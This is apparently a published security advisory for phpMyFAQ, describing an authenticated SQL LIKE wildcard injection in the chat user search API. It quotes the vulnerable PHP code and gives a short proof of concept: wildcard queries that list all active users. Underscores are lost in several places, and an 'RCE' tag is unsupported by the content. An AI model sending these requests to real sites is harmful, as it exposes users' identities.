PT-2026-75937 · Packagist · Thorsten/Phpmyfaq
Published
2026-08-12
·
Updated
2026-08-12
CVSS v3.1
5.4
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N |
Summary
An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape
% and , which remain active LIKE wildcards.Details
The vulnerable endpoint is:
GET /api/chat/users?q=...Source:
php
// phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
$query = trim($request->query->get('q', ''));
if (mb strlen($query) < 2) {
return $this->json([
'success' => true,
'users' => [],
], Response::HTTP OK);
}
$chat = new Chat($this->configuration);
$users = $chat->searchUsers($query, $this->currentUser->getUserId());Sink:
php
// phpmyfaq/src/phpMyFAQ/Chat.php
$escapedTerm = $this->configuration->getDb()->escape(mb strtolower($searchTerm));
$query = sprintf(
"SELECT u.user id, ud.display name
FROM %sfaquser u
LEFT JOIN %sfaquserdata ud ON u.user id = ud.user id
WHERE u.user id != %d
AND u.user id > 0
AND LOWER(ud.display name) LIKE '%%%s%%'
AND u.account status = 'active'
LIMIT %d",
Database::getTablePrefix(),
Database::getTablePrefix(),
$excludeUserId,
$escapedTerm,
$limit,
);escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and are interpreted by the database as wildcards.The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.
PoC:
Tested against:
phpMyFAQ 4.2.0-alpha
commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae
Prerequisite: attacker has any valid authenticated user account.
- Ensure there are multiple active users in the database, for example:
userId=2 displayName="Alice Finance"
userId=3 displayName="Bob Support"
userId=4 displayName="Carol Engineering"- Send a normal query that should not match any user:
GET /api/chat/users?q=zz HTTP/1.1
Host: target
Cookie: [authenticated session]Observed response:
{
"success": true,
"users": []
}- Send a wildcard query:
GET /api/chat/users?q=%25%25 HTTP/1.1
Host: target
Cookie: [authenticated session]Observed response:
{
"success": true,
"users": [
{
"userId": 2,
"displayName": "Alice Finance"
},
{
"userId": 3,
"displayName": "Bob Support"
},
{
"userId": 4,
"displayName": "Carol Engineering"
}
]
}The same issue is reproducible with
wildcards: GET /api/chat/users?q= HTTP/1.1
Host: target
Cookie: [authenticated session]Local confirmation was also performed by calling the vulnerable phpMyFAQChat::searchUsers() method directly with seeded users. q=zz returned no users, while
q=%% and q= returned active users.Impact
This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.
Video PoC:
Fix
SQL injection
Information Disclosure
RCE
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Thorsten/Phpmyfaq